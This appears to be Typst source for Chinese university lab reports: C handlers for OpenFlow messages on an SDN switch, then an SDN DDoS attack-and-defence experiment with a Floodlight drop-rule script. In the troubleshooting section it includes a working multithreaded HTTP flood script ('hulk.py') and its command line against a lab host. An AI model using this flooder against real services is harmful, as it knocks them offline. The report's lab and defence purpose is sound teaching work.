`handle_opfmsg_features_request`函数用于处理控制器发送的Features Request消息。该消息用于查询交换机的特性信息如支持的流表数量、缓冲区大小等。函数生成一个Features Reply消息并填充交换机的特性信息如数据路径ID、缓冲区数量、流表数量等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_opfmsg_features_request(struct ofp_buffer *ofpbuf) {
int feature_reply_len = sizeof(struct ofp_switch_features) + sizeof(struct ofp_header);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_opfmsg_reply_ofpbuf(OFPT_FEATURES_REPLY, ofpbuf->header.xid, feature_reply_len);
struct ofp_switch_features *feature_reply_msg = (struct ofp_switch_features *)ofpbuf_reply->data;
feature_reply_msg->datapath_id = 0x0100000000000000;
feature_reply_msg->n_buffers = htonl(46);
feature_reply_msg->n_tables = 3;
feature_reply_msg->capabilities = 0x7;
send_openflow_message(ofpbuf_reply, feature_reply_len);
return HANDLE;
}
```
=== 处理Get Config Request消息
#para[
`handle_ofpmsg_get_config_request`函数用于处理控制器发送的Get Config Request消息。该消息用于查询交换机的配置信息如Miss Send Length等。函数生成一个Get Config Reply消息并填充交换机的配置信息。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_get_config_request(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_switch_config) + sizeof(struct ofp_header);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_GET_CONFIG_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_switch_config *switch_config_reply = (struct ofp_switch_config *)ofpbuf_reply->data;
switch_config_reply->flags = htons(0x0000);
switch_config_reply->miss_send_len = htons(32);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
=== 处理Description Request消息
#para[
`handle_ofpmsg_desc`函数用于处理控制器发送的Description Request消息。该消息用于查询交换机的描述信息如制造商、硬件版本等。函数生成一个Multipart Reply消息并填充交换机的描述信息。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_desc(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_desc_stats);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
static const char *default_mfr_desc = "Wanglixuan";
static const char *default_hw_desc = "Lixuan_OpenBox";
static const char *default_sw_desc = "Lixuan_Driver";
static const char *default_serial_desc = "Lixuan OpenBox Series";
static const char *default_dp_desc = "None";
ofpmp_reply->type = htons(OFPMP_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
snprintf(ofpmp_reply->ofpmp_desc[0].mfr_desc, sizeof ofpmp_reply->ofpmp_desc[0].mfr_desc, "%s", default_mfr_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].hw_desc, sizeof ofpmp_reply->ofpmp_desc[0].hw_desc, "%s", default_hw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].sw_desc, sizeof ofpmp_reply->ofpmp_desc[0].sw_desc, "%s", default_sw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].serial_num, sizeof ofpmp_reply->ofpmp_desc[0].serial_num, "%s", default_serial_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].dp_desc, sizeof ofpmp_reply->ofpmp_desc[0].dp_desc, "%s", default_dp_desc);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
=== 处理Flow Stats Request消息
#para[
`handle_ofpmsg_flow_stats`函数用于处理控制器发送的Flow Stats Request消息。该消息用于查询交换机的流表统计信息。函数生成一个Multipart Reply消息并设置消息类型为Flow Stats。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_flow_stats(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart);
struct ofp_buffer *reply_buffer = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *multipart_reply = (struct ofp_multipart *)reply_buffer->data;
multipart_reply->type = htons(OFPMP_FLOW);
multipart_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
send_openflow_message(reply_buffer, reply_len);
return HANDLE;
}
```
// === 处理Aggregate Stats Request消息
// #para[
// `handle_ofpmsg_aggregate`函数用于处理控制器发送的Aggregate Stats Request消息。该消息用于查询交换机的聚合统计信息。函数生成一个Multipart Reply消息并填充聚合统计信息如数据包计数、字节计数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
// ]
// ```c
// static enum ofperr handle_ofpmsg_aggregate(struct ofp_buffer *ofpbuf) {
// int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_aggregate_stats_reply);
// struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
// struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
// ofpmp_reply->type = htons(OFPMP_AGGREGATE);
// ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
// ofpmp_reply->ofpmp_aggregate_reply[0].packet_count = htonll(46);
// ofpmp_reply->ofpmp_aggregate_reply[0].byte_count = htonll(2025);
// ofpmp_reply->ofpmp_aggregate_reply[0].flow_count = htonll(200);
// send_openflow_message(ofpbuf_reply, reply_len);
// return HANDLE;
// }
// ```
=== 处理Table Stats Request消息
#para[
`handle_ofpmsg_table`函数用于处理控制器发送的Table Stats Request消息。该消息用于查询交换机的流表统计信息。函数生成一个Multipart Reply消息并填充流表统计信息如匹配计数、查找计数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_table(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_table_stats) * 1;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_TABLE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
ofpmp_reply->table_stats[0].matched_count = htonll(2025);
ofpmp_reply->table_stats[0].table_id = 0;
ofpmp_reply->table_stats[0].lookup_count = htonll(46);
ofpmp_reply->table_stats[0].active_count = htonl(1);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
=== 处理Port Stats Request消息
#para[
`handle_ofpmsg_port_stats`函数用于处理控制器发送的Port Stats Request消息。该消息用于查询交换机的端口统计信息。函数生成一个Multipart Reply消息并填充端口统计信息如持续时间、接收数据包数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_port_stats(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_port_stats) * nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_PORT_STATS);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for (int i = 0; i < nmps.cnt; i++) {
ofpmp_reply->ofpmp_port_stats[i] = nmps.ports[i].stats;
ofpmp_reply->ofpmp_port_stats[i].duration_sec = htonl(2025);
ofpmp_reply->ofpmp_port_stats[i].duration_nsec = htonl(51);
}
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
=== 处理Group Features Request消息
#para[
`handle_ofpmsg_group_features`函数用于处理控制器发送的Group Features Request消息。该消息用于查询交换机的组表特性信息。函数生成一个Multipart Reply消息并填充组表特性信息如最大组数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_group_features(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_group_features) + 8;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_group_features *group = (struct ofp_group_features *)ofpbuf_reply->data;
group->types = htons(OFPMP_GROUP_FEATURES);
group->max_groups[0] = htonl(0xdeadbeef);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
=== 处理Port Description Request消息
#para[
`handle_ofpmsg_port_desc`函数用于处理控制器发送的Port Description Request消息。该消息用于查询交换机的端口描述信息。函数生成一个Multipart Reply消息并填充端口描述信息如端口状态等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_port_desc(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_port) * nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_PORT_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for (int i = 0; i < nmps.cnt; i++) {
ofpmp_reply->ofpmp_port_desc[i] = nmps.ports[i].state;
}
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
=== 处理Packet Out消息
#para[
`handle_ofpmsg_packet_out`函数用于处理控制器发送的Packet Out消息。该消息用于指示交换机将数据包从指定端口发送出去。函数解析消息中的动作列表判断动作类型是否为`OFPAT_OUTPUT`,并根据动作指示的端口号调用`nms_exec_action`函数将数据包发送出去。函数返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_ofpmsg_packet_out(struct ofp_buffer *ofpbuf) {
struct ofp_packet_out *out = (struct ofp_packet_out *)ofpbuf;
struct ofp_action_output *action = (struct ofp_action_output *)&out->actions[0];
int action_len = ntohs(out->actions_len);
struct eth_header *eth = (struct eth_header *)&ofpbuf->data[sizeof(struct ofp_packet_out) - sizeof(struct ofp_header) + action_len];
int send_len = ntohs(ofpbuf->header.length) - sizeof(struct ofp_packet_out) - action_len;
if (action_len == 0) {
nms_exec_action(ntohl(out->in_port), OFPP_FLOOD, eth, send_len, -1);
} else {
while (action_len > 0) {
if (action->type == OFPAT_OUTPUT) {
nms_exec_action(ntohl(out->in_port), ntohl(action->port), eth, send_len, -1);
}
action_len -= sizeof(struct ofp_action_output);
action++;
}
}
return HANDLE;
}
```
=== 处理Role Request消息
#para[
`handle_opfmsg_role_request`函数用于处理控制器发送的Role Request消息。该消息用于配置交换机的角色如主控制器、从控制器等。函数生成一个Role Reply消息并填充角色配置信息。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_opfmsg_role_request(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_role);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_ROLE_REPLY, ofpbuf->header.xid, reply_len);
memcpy(ofpbuf_reply->data, ofpbuf->data, sizeof(struct ofp_role));
ofpbuf_reply->header.type = OFPT_ROLE_REPLY;
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
== 实验结果
#para[
在控制器与交换机之间进行抓包分析报文的交互过程。控制器发送不同类型的OpenFlow消息给交换机交换机接收并处理消息并返回相应的回复消息。通过抓包分析可以看到消息的交互过程包括消息头、消息类型、消息长度等字段的解析和处理。用这种方式来验证协议编写的正确性。
]
#para[
实现的子协议种类较多,这里只展示部分报文内容。
]
=== OFPT_ROLE_REPLY
#para[
OFPT_ROLE_REPLY类型消息。此消息用于配置交换机的角色如主控制器、从控制器等。下面的@slave_request 是控制器发送的Role Request消息。
]
#figure(image("slave.png",fit:"stretch",format:"png"),caption:"OFPT_ROLE_REQUEST消息",)<slave_request>
#para[
如图@slave_reply 所示交换机接收并处理后返回的Role Reply消息。
]
#figure(image("slave_reply.png",fit:"stretch",format:"png"),caption:"OFPT_ROLE_REPLY消息",)<slave_reply>
#para[
这说明交换机已经接收到了控制器发送的Role Request消息并返回了Role Reply消息。
]
=== OFPT_MULTIPART_REPLY
#para[
OFPMP_DESC类型消息。此消息用于查询交换机的描述信息包括制造商、硬件版本、软件版本、序列号和数据路径描述等。
]
#figure(image("lixuanwang.png",fit:"stretch",format:"png"),caption:"OFPMP_DESC消息",)
#para[
可以看到图中的消息包含了制造商、硬件版本、软件版本、序列号和数据路径描述等信息(此处使用了自己的信息进行标记与区分)。
]
#para[
OFPMP_TABLE类型消息。此消息用于查询交换机的流表统计信息包括匹配计数、查找计数等。
]
#figure(image("table.png",fit:"stretch",format:"png"),caption:"OFPMP_TABLE消息",)
#para[
可以看到图中的消息包含了匹配计数、查找计数等信息(此处修改为了自己设置的值)。
]
#pagebreak()
= 实验总结
#para[
本次实验通过编写SDN交换机源码处理OpenFlow协议消息深入理解了OpenFlow协议的基本消息格式和处理流程。实验涵盖了从交换机特性查询到流表统计、端口统计等多种消息类型的处理成功实现了大部分OpenFlow协议的核心功能。通过实验我们不仅掌握了OpenFlow协议的基本工作原理还熟悉了如何通过代码实现协议消息的解析与响应。
]
#para[
在实验过程中我们首先熟悉了Openbox-S4的基本功能并通过编写代码实现了对OpenFlow协议消息的处理。实验代码中我们实现了包括Hello消息、Features Request消息、Flow Stats Request消息等在内的多种消息处理函数。每个函数都根据消息类型生成相应的回复消息并通过`send_openflow_message`函数发送给控制器。通过抓包分析,我们验证了消息的交互过程,确保协议编写的正确性。
]
#para[
实验中的难点在于如何正确处理不同类型的OpenFlow消息并确保消息的格式和内容符合协议规范。通过查阅OpenFlow协议规范和参考相关文献我们逐步解决了这些问题并成功实现了协议的核心功能。此外实验还要求我们熟悉REST API接口的使用这为后续的网络功能扩展奠定了基础。
]
#para[
实验结果表明我们编写的代码能够正确处理控制器发送的OpenFlow消息并返回相应的回复消息。通过抓包分析我们验证了消息的交互过程确保协议编写的正确性。实验的成功不仅加深了我们对OpenFlow协议的理解也提升了我们的编程能力和网络协议分析能力。
]
#para[
总的来说本次实验达到了预期的目标成功实现了OpenFlow协议的核心功能。通过实验我们不仅掌握了OpenFlow协议的基本工作原理还熟悉了如何通过代码实现协议消息的解析与响应。未来我们可以在此基础上进一步扩展功能如实现流表规则的动态添加和删除以更好地支持SDN网络的灵活性和可扩展性。
]
#pagebreak()
= 选做实验介绍
本小组了解了虚拟网络拓扑实验和DDoS网络攻击的SDN实验的基本内容但由于时间和精力有限最终选择只完成DDoS网络攻击的SDN实验。以下是对该实验的简要介绍。
== 实验原理
#para[本实验通过搭建一个基于 SDN 的网络环境,利用 OpenBox-S4 设备启动 OVS 交换机、sFlow-RT 流量监控和 Floodlight 控制器,模拟 DDoS 攻击并实现防御。实验的核心原理是通过 SDN 控制器Floodlight动态下发流表规则检测并阻断异常流量。]
#para[在实验中,主机 A 作为攻击者,使用 DDoS 攻击工具向主机 B靶机发送大量请求数据包模拟 DDoS 攻击。sFlow-RT 用于实时监控网络流量检测异常流量模式。Floodlight 控制器根据 sFlow-RT 的检测结果,下发流表规则到 OVS 交换机,丢弃匹配的异常流量,从而实现对 DDoS 攻击的防御。]
#para[实验的关键在于通过 SDN 控制器的集中控制能力,动态调整网络流表,快速响应并阻断攻击流量。这种基于 SDN 的防御机制能够有效应对 DDoS 攻击,减少对网络资源的消耗,并提高网络的整体安全性。]
#para[
实验步骤参考《SDN网络-DDOS攻击案例操作手册.pdf》。下面仅列出部分步骤或结果供参考。
]
=== 发起 DDoS 攻击
#para[
1.在主机 A 上使用攻击工具或脚本发起 DDoS 攻击,向主机 B 发送大量请求数据包。
2.监控 sFlow-RT 界面,观察网络流量的变化,检测到异常流量模式。
]
#figure(image("遭受DDoS攻击.png",format:"png",width: 100%,fit:"stretch"),caption: "遭受 DDoS 攻击")<being_attacked_by_DDoS>
#para[
3.记录攻击开始时间和网络状态。
4.查看流表项,发现大量异常流量匹配规则。
]
#figure(image("flow_entry.png",format:"png",width: 100%,fit:"stretch"),caption: "流表项")<flow_table>
=== 防御 DDoS 攻击
#para[
1.使用 Floodlight 控制器下发流表规则,阻断异常流量:
]
```python
import httplib
import json
class StaticFlowPusher(object):
def __init__(self, server):
self.server = server
def get(self, data):
ret = self.rest_call({}, 'GET')
return json.loads(ret[2])
def set(self, data):
ret = self.rest_call(data, 'POST')
return ret[0] == 200
def remove(self, objtype, data):
ret = self.rest_call(data, 'DELETE')
return ret[0] == 200
def rest_call(self, data, action):
path = '/wm/staticflowpusher/json'
headers = {
'Content-type': 'application/json',
'Accept': 'application/json',
}
body = json.dumps(data)
conn = httplib.HTTPConnection(self.server, 8080)
conn.request(action, path, body, headers)
response = conn.getresponse()
ret = (response.status, response.reason, response.read())
print ret
conn.close()
return ret
pusher = StaticFlowPusher('127.0.0.1')
flowbe2 = {
'switch': "00:00:00:0a:35:00:5f:68",
"name": "flow-2",
"cookie": "G0",
"priority": "100",
"active": "true",
"eth_type": "0x800",
"in_port": "0",
"ipv4_src": "192.168.2.111",
"ipv4_dst": "192.168.2.119",
"actions": "drop"
}
pusher.set(flowbe2)
```
#para[
其中关键部分在于下发流表规则,将匹配的数据包丢弃(```python "actions": "drop"```)。
2.检查流量图,发现异常流量被丢弃。
]
#figure(image("防御DDoS攻击.png",format:"png",width: 100%,fit:"stretch"),caption: "丢弃异常流量")<defend_DDoS>
#para[
3.检查流表项,发现异常流量匹配规则消失。
]
#figure(image("flow_entry2.png",format:"png",width: 100%,fit:"stretch"),caption: "流表项")<flow_table_defend>
== 选做实验总结
#para[
本次实验通过搭建基于 OpenBox-S4 设备的 SDN 网络环境,模拟 DDoS 攻击和防御过程。通过实验,我们了解了 sFlow-RT 的配置和使用方法,掌握了基于 Floodlight 控制器的 DDoS 防御原理和方法。实验中,我们成功模拟了 DDoS 攻击,观察了网络流量的变化,学会了使用 Floodlight 控制器下发流表规则,阻断异常流量。通过实验,我们深入理解了 SDN 网络中 DDoS 攻击的特点和防御策略,提高了网络安全意识和实践能力。
]
#pagebreak()
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
// #counter(heading).display()
// #h(0.5em)
#it.body
]
#bibliography("ref.yml",full: true,title: "参考文献",style:"gb-7714-2015-numeric")
/*
根据这个网站的格式示范https://github.com/typst/hayagriva/blob/main/docs/file-format.md
为这些网页生成.yml文件
https://opennetworking.org/wp-content/uploads/2014/10/openflow-spec-v1.3.0.pdf
https://www.cnblogs.com/goldsunshine/p/7262484.html
https://www.jianshu.com/p/acfeae1771b3
https://www.jianshu.com/p/82e238eb8d14
*/

267
openbox/openbox_2.typ Normal file
View File

@ -0,0 +1,267 @@
#import "labtemplate.typ": *
#show: nudtlabpaper.with(title: "基于 SDN 的 DDoS 攻击与防御实验",
author1: "王李烜",
id1: "202202001046",
author2: "廖中煜",
id2: "202202001032",
author3: "王誉潞",
id3: "202202001051",
advisor: " 胡罡",
jobtitle: "教授",
lab: "306-707",
date: "2025.1.9",
header_str: "《网络工程》实验报告",
)
#set page(header: [
#set par(spacing: 6pt)
#align(center)[#text(size: 11pt)[《网络工程》实验报告]]
#v(-0.3em)
#line(length: 100%, stroke: (thickness: 1pt))
],)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#it.body
]
#outline(title: "目录",depth: 3, indent: 1em)
// #pagebreak()
#outline(
title: [图目录],
target: figure.where(kind: image),
)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
// #h(0.5em)
#it.body
]
#set enum(indent: 0.5em,body-indent: 0.5em,)
#pagebreak()
= 实验概述
== 实验目的
#para[1. 了解 sFlow-RT 的配置。
2. 基于 SDN DDoS 攻击仿真。
3. 掌握利用 Floodlight 进行 DDoS 防御的原理和方法。]
== 实验内容
#para[通过 OpenBox-S4 设备搭建 DDOS 攻击环境,在 OpenBox-S4 设备启动 OVS 交换机、sFlow-RT 流量监控和 Floodlight 控制器,通过主机 C 访问 sFlow-RT 界面和控制器界面,检测到 DDOS 攻击下发流表丢弃报文。]
#para[使用攻击工具或脚本模拟 DDoS 攻击。这可以包括向目标主机发送大量的请求数据包,以模拟洪水攻击或放大攻击等常见的 DDoS 攻击方式。]
#para[在攻击过程中,观察和分析网络流量的变化。这可以通过监控工具、日志分析或流量捕获等方式实现。注意记录攻击开始和结束时的网络状态,以便后续分析和比较。]
#para[一旦检测到 DDoS 攻击,通过 Floodlight 控制器下发相应的流表规则,使 OVS 交换机能够丢弃匹配的数据包,从而阻断异常流量。可以根据实验需求设置不同的防御策略,例如限制流量速率、过滤特定来源的流量或启用黑名单等。]
文件中没有直接提到“实验原理”这一部分的内容。不过,文件中提到的实验步骤和配置信息可以帮助我们理解实验的基本原理。以下是基于文件内容的实验原理总结:
== 实验原理
#para[本实验通过搭建一个基于 SDN 的网络环境,利用 OpenBox-S4 设备启动 OVS 交换机、sFlow-RT 流量监控和 Floodlight 控制器,模拟 DDoS 攻击并实现防御。实验的核心原理是通过 SDN 控制器Floodlight动态下发流表规则检测并阻断异常流量。]
#para[在实验中,主机 A 作为攻击者,使用 DDoS 攻击工具向主机 B靶机发送大量请求数据包模拟 DDoS 攻击。sFlow-RT 用于实时监控网络流量检测异常流量模式。Floodlight 控制器根据 sFlow-RT 的检测结果,下发流表规则到 OVS 交换机,丢弃匹配的异常流量,从而实现对 DDoS 攻击的防御。]
#para[实验的关键在于通过 SDN 控制器的集中控制能力,动态调整网络流表,快速响应并阻断攻击流量。这种基于 SDN 的防御机制能够有效应对 DDoS 攻击,减少对网络资源的消耗,并提高网络的整体安全性。]
// Display inline code in a small box
// that retains the correct baseline.
#show raw.where(block: false): it => box(
text(font: ("Consolas","FangSong_GB2312"), it),
fill: luma(240),
inset: (x: 3pt, y: 0pt),
outset: (y: 3pt),
radius: 2pt,
)
// Display block code in a larger block
// with more padding.
#show raw.where(block: true): it => block(
text(font: ("Consolas","FangSong_GB2312"), it),
fill: luma(240),
inset: 10pt,
radius: 4pt,
width: 100%,
)
= 实验步骤
#para[
实验步骤参考《SDN网络-DDOS攻击案例操作手册.pdf》。下面仅列出部分步骤或结果供参考。
]
== 发起 DDoS 攻击
#para[
1. 在主机 A 上使用攻击工具或脚本发起 DDoS 攻击,向主机 B 发送大量请求数据包。
2. 监控 sFlow-RT 界面,观察网络流量的变化,检测到异常流量模式。
#figure(image("遭受DDoS攻击.png",format:"png",width: 100%,fit:"stretch"),caption: "遭受 DDoS 攻击")<being_attacked_by_DDoS>
3. 记录攻击开始时间和网络状态。
4. 查看流表项,发现大量异常流量匹配规则。
#figure(image("flow_entry.png",format:"png",width: 100%,fit:"stretch"),caption: "流表项")<flow_table>
]
== 防御 DDoS 攻击
#para[
1. 使用 Floodlight 控制器下发流表规则,阻断异常流量:
```python
import httplib
import json
class StaticFlowPusher(object):
def __init__(self, server):
self.server = server
def get(self, data):
ret = self.rest_call({}, 'GET')
return json.loads(ret[2])
def set(self, data):
ret = self.rest_call(data, 'POST')
return ret[0] == 200
def remove(self, objtype, data):
ret = self.rest_call(data, 'DELETE')
return ret[0] == 200
def rest_call(self, data, action):
path = '/wm/staticflowpusher/json'
headers = {
'Content-type': 'application/json',
'Accept': 'application/json',
}
body = json.dumps(data)
conn = httplib.HTTPConnection(self.server, 8080)
conn.request(action, path, body, headers)
response = conn.getresponse()
ret = (response.status, response.reason, response.read())
print ret
conn.close()
return ret
pusher = StaticFlowPusher('127.0.0.1')
flowbe2 = {
'switch': "00:00:00:0a:35:00:5f:68",
"name": "flow-2",
"cookie": "G0",
"priority": "100",
"active": "true",
"eth_type": "0x800",
"in_port": "0",
"ipv4_src": "192.168.2.111",
"ipv4_dst": "192.168.2.119",
"actions": "drop"
}
pusher.set(flowbe2)
```
其中关键部分在于下发流表规则,将匹配的数据包丢弃(```python "actions": "drop"```)。
2. 检查流量图,发现异常流量被丢弃。
#figure(image("防御DDoS攻击.png",format:"png",width: 100%,fit:"stretch"),caption: "丢弃异常流量")<defend_DDoS>
3. 检查流表项,发现异常流量匹配规则消失。
#figure(image("flow_entry2.png",format:"png",width: 100%,fit:"stretch"),caption: "流表项")<flow_table_defend>
]
= 实验中遇到的其他问题
== 问题一
#para[
#text(size:12pt,font:hei,weight:"bold")[DDoS攻击速率太快导致SDN交换机忙于处理流表更新请求无法响应防御流表下发请求。]
这是本次实验中遇到的一个常见问题。经测试,当@being_attacked_by_DDoS 中的流量峰值达到*2M*以上时基本会出现此问题。可以降低DDoS攻击的速率来解决此问题。
本次实验使用的DDoS攻击工具代码如下
```python
import threading
import requests
import sys
def http_flood(target_url, num_requests):
for _ in range(num_requests):
try:
requests.get(target_url)
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def start_attack(target_url, num_threads, requests_per_thread):
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=http_flood, args=(target_url, requests_per_thread))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python hulk.py <target_url> <num_threads> <requests_per_thread>")
sys.exit(1)
target_url = sys.argv[1]
num_threads = int(sys.argv[2])
requests_per_thread = int(sys.argv[3])
print("HULK Attack Started")
start_attack(target_url, num_threads, requests_per_thread)
```
该攻击工具使用多线程发送大量 HTTP 请求,模拟 DDoS 攻击。可以降低线程数以降低攻击速率。例如将原本的线程数设置为10每个线程发送1000个请求可以改为5个线程每个线程发送2000个请求以减缓攻击速率
```cmd
hulk.py http://192.168.2.119/ 5 2000
```
]
== 问题二
#para[
#text(size:12pt,font:hei,weight:"bold")[网络连通性问题。例如直连ping不通。]
1. 确保双方的IP等配置正确同一网段尤其注意网关配置。
2. 确保PC机防火墙关闭。
3. 单向ping不通重点检查防火墙与网关。
]
= 实验思考
== 问题一
#para[
#text(size:12pt,font:hei,weight:"bold")[如何检测和识别 DDoS 攻击?在 SDN 网络中,有哪些常见的 DDoS 攻击手段和特征?]
检测和识别 DDoS 攻击可以通过流量监控工具实现。sFlow-RT 等工具能够实时监控网络流量,识别异常的流量模式。流量突然激增、特定 IP 地址的流量异常是常见的攻击特征。流量分析通过检查源 IP 地址、目的 IP 地址、协议类型、数据包大小等特征,识别异常流量。行为分析利用机器学习或统计分析,识别与正常流量模式不符的行为,如大量的 SYN 请求或 UDP 洪水攻击。日志分析通过检查网络设备的日志,识别异常的连接请求或流量模式。]
#para[ SDN 网络中,常见的 DDoS 攻击手段包括 SYN Flood、UDP Flood、ICMP Flood、HTTP Flood 和放大攻击。SYN Flood 攻击通过发送大量 TCP SYN 请求耗尽目标服务器的连接资源。UDP Flood 攻击通过发送大量 UDP 数据包耗尽目标网络的带宽或处理能力。ICMP Flood 攻击通过发送大量 ICMP 请求耗尽目标网络的带宽。HTTP Flood 攻击通过发送大量 HTTP 请求,耗尽目标 Web 服务器的资源。放大攻击利用 DNS NTP 等协议的放大效应,发送少量请求,导致目标服务器收到大量响应数据包。]
== 问题二
#para[
#text(size:12pt,font:hei,weight:"bold")[ SDN 网络中,如何有效地防御 DDoS 攻击?有哪些防御策略和技术可以应用?]
SDN 网络中,防御 DDoS 攻击的策略包括流量过滤、流量重定向、动态调整流表、黑名单机制、速率限制和多控制器架构。流量过滤通过 SDN 控制器下发流表规则,过滤掉异常流量。流量重定向将可疑流量重定向到专门的清洗中心进行处理。动态调整流表根据实时流量监控结果,及时阻断异常流量。黑名单机制通过 SDN 控制器维护黑名单,自动丢弃攻击源 IP 地址的流量。速率限制通过 SDN 控制器限制特定流量的速率,防止流量过载。多控制器架构使用多个 SDN 控制器,避免单点故障,提高网络的抗攻击能力。]
== 问题三
#para[
#text(size:12pt,font:hei,weight:"bold")[DDoS 攻击对 SDN 控制器的影响是什么?]
DDoS 攻击对 SDN 控制器的影响主要体现在控制器的压力增加、流表溢出、网络延迟增加和单点故障风险。DDoS 攻击导致网络流量激增SDN 控制器需要处理大量流表更新请求,可能导致控制器过载。大量异常流量可能填满 SDN 交换机的流表,导致无法正常处理合法流量。控制器处理大量异常流量可能导致网络延迟增加,影响正常流量的传输。如果 SDN 控制器成为攻击目标,可能导致整个网络的控制平面瘫痪,影响网络的正常运行。]
#para[ SDN 网络中,防御 DDoS 攻击不仅需要保护数据平面,还需要确保控制平面的安全性和稳定性。通过多种防御策略和技术的结合,可以有效应对 DDoS 攻击带来的挑战。]
= 实验总结
#para[
本次实验通过搭建基于 OpenBox-S4 设备的 SDN 网络环境,模拟 DDoS 攻击和防御过程。通过实验,我们了解了 sFlow-RT 的配置和使用方法,掌握了基于 Floodlight 控制器的 DDoS 防御原理和方法。实验中,我们成功模拟了 DDoS 攻击,观察了网络流量的变化,学会了使用 Floodlight 控制器下发流表规则,阻断异常流量。通过实验,我们深入理解了 SDN 网络中 DDoS 攻击的特点和防御策略,提高了网络安全意识和实践能力。
]
#show heading: it => box(width: 100%)[
#v(0.50em)
